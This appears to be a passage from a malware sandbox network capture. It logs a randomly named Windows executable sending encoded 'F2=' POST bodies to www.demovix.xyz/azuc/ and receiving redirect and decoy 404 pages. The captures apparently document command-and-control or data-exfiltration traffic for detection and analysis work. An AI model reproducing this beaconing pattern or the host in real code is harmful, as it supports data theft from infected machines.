Nov 7, 2024 15:28:55.476773977 CET	404	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 14:28:55 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 46 32 3d 4b 38 52 37 53 6e 53 66 62 37 64 6c 69 33 65 58 52 41 44 33 53 6e 6e 74 73 56 53 53 6a 31 5a 43 6a 73 52 6c 43 7a 49 73 44 57 4a 55 78 63 6c 63 67 7a 56 59 54 71 37 66 36 4e 37 2f 55 4b 6a 54 42 70 50 58 33 57 56 6f 50 48 2f 76 30 74 6a 35 44 6d 6b 32 7a 79 4f 31 78 4b 54 69 7a 36 6f 42 72 4e 75 34 52 73 33 53 47 42 63 54 72 70 54 71 44 65 4a 39 70 50 4c 57 33 36 67 68 57 2b 31 31 52 77 3d 3d 26 73 48 53 3d 35 34 33 68 41 70 77 48 44 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?F2=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2zyO1xKTiz6oBrNu4Rs3SGBcTrpTqDeJ9pPLW36ghW+11Rw==&sHS=543hApwHD"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49994	199.192.19.19	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:00.684931040 CET	738	OUT	POST /azuc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.demovix.xyz Origin: http://www.demovix.xyz Cache-Control: max-age=0 Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.demovix.xyz/azuc/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 46 47 75 55 66 75 67 39 59 79 56 51 35 4c 73 56 64 5a 4b 78 45 4c 49 45 4e 4b 5a 51 64 50 52 6e 43 48 4c 49 66 53 53 46 78 56 58 4f 4d 30 2b 32 52 34 57 35 43 41 6e 4d 45 4d 56 63 47 65 4f 37 51 79 4b 57 31 61 70 71 63 6e 52 4b 31 67 47 49 65 34 4d 76 30 41 78 38 79 67 70 41 47 47 30 41 35 65 56 54 48 43 76 61 6d 34 45 36 77 79 4a 35 70 47 6b 72 45 37 7a 61 73 66 45 41 38 74 52 35 57 6b 78 72 4e 34 49 57 47 62 78 47 36 65 4c 74 4d 46 4e 69 36 70 31 52 4f 45 72 48 71 50 59 72 75 72 46 31 4c 75 53 68 4e 71 72 78 6b 67 76 7a 31 56 2f 44 34 58 69 6d 65 6a 63 43 77 54 71 63 67 50 31 6c 50 63 6f 3d Data Ascii: F2=FGuUfug9YyVQ5LsVdZKxELIENKZQdPRnCHLIfSSFxVXOM0+2R4W5CAnMEMVcGeO7QyKW1apqcnRK1gGIe4Mv0Ax8ygpAGG0A5eVTHCvam4E6wyJ5pGkrE7zasfEA8tR5WkxrN4IWGbxG6eLtMFNi6p1ROErHqPYrurF1LuShNqrxkgvz1V/D4XimejcCwTqcgP1lPco=
Nov 7, 2024 15:29:01.378232002 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 14:29:01 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 16026 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Nov 7, 2024 15:29:01.378258944 CET	1236	IN	Data Raw: 2e 31 39 36 2c 31 30 2e 30 36 63 2d 39 2e 33 33 32 2c 33 2e 33 37 37 2d 32 36 2e 32 2c 37 2e 38 31 37 2d 34 32 2e 33 30 31 2c 33 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 Data Ascii: .196,10.06c-9.332,3.377-26.2,7.817-42.301,3.5 s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,
Nov 7, 2024 15:29:01.378271103 CET	1236	IN	Data Raw: 35 2d 31 32 2e 34 30 38 0a 09 09 09 63 30 2d 33 2e 33 37 38 2d 31 35 2e 33 34 37 2d 34 2e 39 38 38 2d 34 30 2e 32 34 33 2d 37 2e 32 32 35 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 Data Ascii: 5-12.408c0-3.378-15.347-4.988-40.243-7.225" /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.5
Nov 7, 2024 15:29:01.378278017 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 Data Ascii: <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none"
Nov 7, 2024 15:29:01.378283978 CET	848	IN	Data Raw: 20 20 20 20 78 31 3d 22 34 32 36 2e 38 37 31 22 20 79 31 3d 22 33 38 36 2e 31 37 35 22 20 78 32 3d 22 34 33 37 2e 34 37 34 22 20 79 32 3d 22 33 38 36 2e 31 37 35 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 Data Ascii: x1="426.871" y1="386.175" x2="437.474" y2="386.175" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="48
Nov 7, 2024 15:29:01.378312111 CET	1236	IN	Data Raw: 20 20 20 20 20 20 78 31 3d 22 32 32 37 2e 35 35 22 20 79 31 3d 22 32 39 35 2e 31 38 39 22 20 78 32 3d 22 32 33 35 2e 33 38 37 22 20 79 32 3d 22 32 39 35 2e 31 38 39 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 Data Ascii: x1="227.55" y1="295.189" x2="235.387" y2="295.189" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="2
Nov 7, 2024 15:29:01.378329039 CET	1236	IN	Data Raw: 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 34 38 34 2e 32 31 35 22 20 79 31 3d 22 34 31 31 2e 31 34 36 22 20 78 32 3d 22 34 37 36 2e 33 37 38 22 20 79 Data Ascii: troke-miterlimit="10" x1="484.215" y1="411.146" x2="476.378" y2="411.146" /> </g> </g> <g id="circlesBig"> <circle fill="none" stroke="#0E0620" stroke-width="3" s
Nov 7, 2024 15:29:01.378344059 CET	1236	IN	Data Raw: 6c 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 Data Ascii: le fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="283.521" cy="568.033" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="roun
Nov 7, 2024 15:29:01.378359079 CET	1236	IN	Data Raw: 2d 31 31 35 2e 33 34 2c 33 38 2e 32 31 38 63 2d 32 2e 32 38 2d 30 2e 30 34 38 2d 34 2e 39 32 36 2d 30 2e 32 34 31 2d 37 2e 38 34 31 2d 30 2e 35 34 38 0a 09 09 09 63 2d 36 38 2e 30 33 38 2d 37 2e 31 37 38 2d 31 33 34 2e 32 38 38 2d 34 33 2e 39 36 Data Ascii: -115.34,38.218c-2.28-0.048-4.926-0.241-7.841-0.548c-68.038-7.178-134.288-43.963-167.33-103.87c-0.908-1.646-1.793-3.3-2.654-4.964c-18.395-35.511-37.259-83.385-32.075-118.817" /> <path id="backpack" fill="#FFFFFF" stroke="#0E0
Nov 7, 2024 15:29:01.378372908 CET	848	IN	Data Raw: 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 20 64 3d 22 0a 09 09 09 09 4d 33 36 30 2e 36 33 33 2c 33 36 33 2e 30 33 39 63 31 2e 33 35 32 2c 31 2e 30 36 31 2c 34 2e 39 31 2c 35 2e 30 35 36 2c 35 2e Data Ascii: stroke-miterlimit="10" d="M360.633,363.039c1.352,1.061,4.91,5.056,5.824,6.634l27.874,47.634c3.855,6.649,1.59,15.164-5.059,19.02l0,0c-6.649,3.855-15.164,1.59-19.02-5.059l-5.603-9.663" /> <path fill="#FFFFFF"
Nov 7, 2024 15:29:01.383434057 CET	1236	IN	Data Raw: 0a 09 09 09 09 4d 33 30 31 2e 33 30 31 2c 33 34 37 2e 36 36 63 2d 31 2e 37 30 32 2c 30 2e 32 34 32 2d 35 2e 39 31 2c 31 2e 36 32 37 2d 37 2e 34 39 32 2c 32 2e 35 33 36 6c 2d 34 37 2e 39 36 35 2c 32 37 2e 33 30 31 63 2d 36 2e 36 36 34 2c 33 2e 38 Data Ascii: M301.301,347.66c-1.702,0.242-5.91,1.627-7.492,2.536l-47.965,27.301c-6.664,3.829-8.963,12.335-5.134,18.999h0c3.829,6.664,12.335,8.963,18.999,5.134l9.685-5.564" /> <path fill="#FFFFFF" stroke="#0E0620" stroke-width="3"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49995	199.192.19.19	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:03.230871916 CET	758	OUT	POST /azuc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.demovix.xyz Origin: http://www.demovix.xyz Cache-Control: max-age=0 Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.demovix.xyz/azuc/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 46 47 75 55 66 75 67 39 59 79 56 51 36 72 38 56 52 61 69 78 47 72 49 62 43 71 5a 51 4c 2f 52 6a 43 48 48 49 66 54 48 4f 77 6a 48 4f 56 56 4f 32 53 35 57 35 44 41 6e 4d 44 38 55 59 4c 2b 4f 6b 51 79 32 65 31 59 74 71 63 6e 31 4b 31 6c 71 49 65 49 77 67 31 51 78 2b 30 67 70 43 49 6d 30 41 35 65 56 54 48 43 37 77 6d 38 6f 36 77 69 5a 35 70 69 51 6b 59 72 7a 5a 37 76 45 41 34 74 51 2b 57 6b 77 45 4e 34 34 73 47 64 74 47 36 61 48 74 4c 57 56 6c 77 70 30 55 44 6b 71 4d 69 39 6c 4a 6f 38 46 30 44 34 66 44 44 38 6a 4e 68 57 43 5a 76 33 33 46 37 58 4b 4e 65 67 30 30 31 6b 33 30 36 73 6c 56 52 4c 2f 35 75 6b 2f 32 37 75 6c 34 71 4f 4a 50 4e 61 74 2f 6d 32 67 6d Data Ascii: F2=FGuUfug9YyVQ6r8VRaixGrIbCqZQL/RjCHHIfTHOwjHOVVO2S5W5DAnMD8UYL+OkQy2e1Ytqcn1K1lqIeIwg1Qx+0gpCIm0A5eVTHC7wm8o6wiZ5piQkYrzZ7vEA4tQ+WkwEN44sGdtG6aHtLWVlwp0UDkqMi9lJo8F0D4fDD8jNhWCZv33F7XKNeg001k306slVRL/5uk/27ul4qOJPNat/m2gm
Nov 7, 2024 15:29:03.932053089 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 14:29:03 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 16026 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Nov 7, 2024 15:29:03.932115078 CET	1236	IN	Data Raw: 2e 31 39 36 2c 31 30 2e 30 36 63 2d 39 2e 33 33 32 2c 33 2e 33 37 37 2d 32 36 2e 32 2c 37 2e 38 31 37 2d 34 32 2e 33 30 31 2c 33 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 Data Ascii: .196,10.06c-9.332,3.377-26.2,7.817-42.301,3.5 s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,
Nov 7, 2024 15:29:03.932164907 CET	1236	IN	Data Raw: 35 2d 31 32 2e 34 30 38 0a 09 09 09 63 30 2d 33 2e 33 37 38 2d 31 35 2e 33 34 37 2d 34 2e 39 38 38 2d 34 30 2e 32 34 33 2d 37 2e 32 32 35 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 Data Ascii: 5-12.408c0-3.378-15.347-4.988-40.243-7.225" /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.5
Nov 7, 2024 15:29:03.932197094 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 Data Ascii: <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none"
Nov 7, 2024 15:29:03.932208061 CET	1236	IN	Data Raw: 20 20 20 20 78 31 3d 22 34 32 36 2e 38 37 31 22 20 79 31 3d 22 33 38 36 2e 31 37 35 22 20 78 32 3d 22 34 33 37 2e 34 37 34 22 20 79 32 3d 22 33 38 36 2e 31 37 35 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 Data Ascii: x1="426.871" y1="386.175" x2="437.474" y2="386.175" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="48
Nov 7, 2024 15:29:03.932219982 CET	1236	IN	Data Raw: 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 32 34 37 2e 39 35 22 20 79 31 3d 22 35 35 31 2e 37 31 39 22 20 78 32 3d 22 32 34 30 2e 31 31 33 22 20 79 32 Data Ascii: troke-miterlimit="10" x1="247.95" y1="551.719" x2="240.113" y2="551.719" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miter
Nov 7, 2024 15:29:03.932230949 CET	1236	IN	Data Raw: 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 Data Ascii: ="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="450.066" cy="320.259" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit=
Nov 7, 2024 15:29:03.932244062 CET	36	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 Data Ascii: <circle fill="#0E0620" cx="
Nov 7, 2024 15:29:03.932259083 CET	1236	IN	Data Raw: 35 34 39 2e 38 37 39 22 20 63 79 3d 22 32 39 36 2e 34 30 32 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 32 35 33 2e Data Ascii: 549.879" cy="296.402" r="2.651" /> <circle fill="#0E0620" cx="253.29" cy="229.24" r="2.651" /> <circle fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620" cx="183.708" cy
Nov 7, 2024 15:29:03.932271004 CET	1236	IN	Data Raw: 2d 32 35 2e 34 35 35 6c 31 35 2e 36 39 34 2d 35 38 2e 35 33 37 0a 09 09 09 63 33 2e 38 38 39 2d 31 34 2e 35 30 34 2c 31 38 2e 37 39 39 2d 32 33 2e 31 31 2c 33 33 2e 33 30 33 2d 31 39 2e 32 32 31 6c 35 32 2e 33 34 39 2c 31 34 2e 30 33 35 63 31 34 Data Ascii: -25.455l15.694-58.537c3.889-14.504,18.799-23.11,33.303-19.221l52.349,14.035c14.504,3.889,23.11,18.799,19.221,33.303l-15.694,58.537C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id="antenna"> <lin
Nov 7, 2024 15:29:03.937340021 CET	1236	IN	Data Raw: 39 34 63 32 2e 33 34 34 2c 31 2e 33 34 33 2c 34 2e 33 38 33 2c 33 2e 32 38 39 2c 35 2e 38 33 37 2c 35 2e 37 39 33 0a 09 09 09 09 63 34 2e 34 31 31 2c 37 2e 35 39 36 2c 31 2e 38 32 39 2c 31 37 2e 33 33 2d 35 2e 37 36 37 2c 32 31 2e 37 34 31 63 2d Data Ascii: 94c2.344,1.343,4.383,3.289,5.837,5.793c4.411,7.596,1.829,17.33-5.767,21.741c-7.596,4.411-17.33,1.829-21.741-5.767c-1.754-3.021-2.817-5.818-2.484-9.046C375.625,437.355,383.087,437.973,388.762,434.677z" /> </g>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49996	199.192.19.19	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:29:05.778769016 CET	1775	OUT	POST /azuc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.demovix.xyz Origin: http://www.demovix.xyz Cache-Control: max-age=0 Content-Length: 1239 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.demovix.xyz/azuc/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 46 47 75 55 66 75 67 39 59 79 56 51 36 72 38 56 52 61 69 78 47 72 49 62 43 71 5a 51 4c 2f 52 6a 43 48 48 49 66 54 48 4f 77 6a 50 4f 56 48 32 32 51 61 4f 35 52 51 6e 4d 41 38 55 62 4c 2b 50 34 51 79 65 61 31 59 78 36 63 6c 64 4b 30 48 69 49 59 37 6f 67 2f 51 78 2b 32 67 70 48 47 47 30 56 35 66 35 58 48 43 72 77 6d 38 6f 36 77 68 78 35 75 32 6b 6b 61 72 7a 61 73 66 45 45 38 74 52 5a 57 67 64 7a 4e 35 4d 38 47 75 31 47 35 2b 72 74 4b 6c 78 6c 38 70 30 61 47 6b 71 66 69 39 70 2f 6f 36 68 53 44 34 43 75 44 37 6e 4e 6a 69 72 34 31 6a 75 62 6d 58 76 7a 65 68 63 2f 37 7a 2f 50 7a 4f 35 69 52 5a 44 5a 6e 78 4c 61 74 75 31 72 6d 66 49 36 58 37 35 38 6a 67 49 72 56 78 59 5a 6c 6c 77 47 5a 30 53 50 7a 62 56 38 42 4b 4c 7a 37 79 67 51 7a 71 6c 30 74 43 54 47 73 38 79 4c 4d 38 6d 69 48 79 56 57 76 53 6f 77 48 38 73 65 4b 6b 61 78 79 73 73 74 2b 66 78 63 6d 54 72 30 30 78 39 46 6e 58 34 50 2f 2f 39 34 58 2b 63 6c 2f 62 68 6b 74 77 62 39 45 2f 68 54 42 2b 6b 50 56 43 76 57 67 49 43 46 4f 6e 47 50 53 73 58 [TRUNCATED] Data Ascii: F2=FGuUfug9YyVQ6r8VRaixGrIbCqZQL/RjCHHIfTHOwjPOVH22QaO5RQnMA8UbL+P4Qyea1Yx6cldK0HiIY7og/Qx+2gpHGG0V5f5XHCrwm8o6whx5u2kkarzasfEE8tRZWgdzN5M8Gu1G5+rtKlxl8p0aGkqfi9p/o6hSD4CuD7nNjir41jubmXvzehc/7z/PzO5iRZDZnxLatu1rmfI6X758jgIrVxYZllwGZ0SPzbV8BKLz7ygQzql0tCTGs8yLM8miHyVWvSowH8seKkaxysst+fxcmTr00x9FnX4P//94X+cl/bhktwb9E/hTB+kPVCvWgICFOnGPSsXb3FMHV1oqBC8KvLosmZMVBwygGykyI2J9RjlbwKJwVEt3jXx6LfRGq82MsON1LrL2TA32IGolnSlabf+jYFtM8mL1ZY13MXSGX8FplSnIHmOcH6gRnhVsbfMAzcrxeM59K9XozHyF4LUcvlf4zYLfmQG1zEdtCW2UMFsZcCbjUXI7bS4yT73fgt3koeGM+J8iwsvU3Qxp/Y22cnWz6nBuWk1ZaCs4AZJA4H6xrJ/03W7TO3rc8uclH88VZgf29x1PI5FSTYrMsAGOeJzDDMD1ATNH2UxWvdCD1mzfp4HfNwKrlZmimuk1fspOgiEjyfZ3p3phrF8HZ/Bv8HipStPipqmhs/DIK+nho9ZpoXbm8PxNOz6GCqilx/BDAJG2A4WSMHyCJesr0OAFsfv1nC4Tw/4/uGwFtCPAu1fKIrVNTc9XD7o+0A4TmbRcwm/d0IODr3KkCh0JGP3Txm7HaQkhTmuWlHwWTPnc7AskdSAxyL/YoV9O+mzcLZ2vsq4vZ9yyDFEgQ2hL4jMov4eBHn4OHw6hrUZ2gvp950/QFyl2spgzbISf5XLX0xqItJmgjJGwGhTasnTG84QwwyqTXO+NF4r8+rUbJYEPpa7U4YXYm0QrFpSfi4eQoKmR55WcukoBSiXorEZtK7PU0SgpWtwCRX9QpJKwMYrU5 [TRUNCATED]
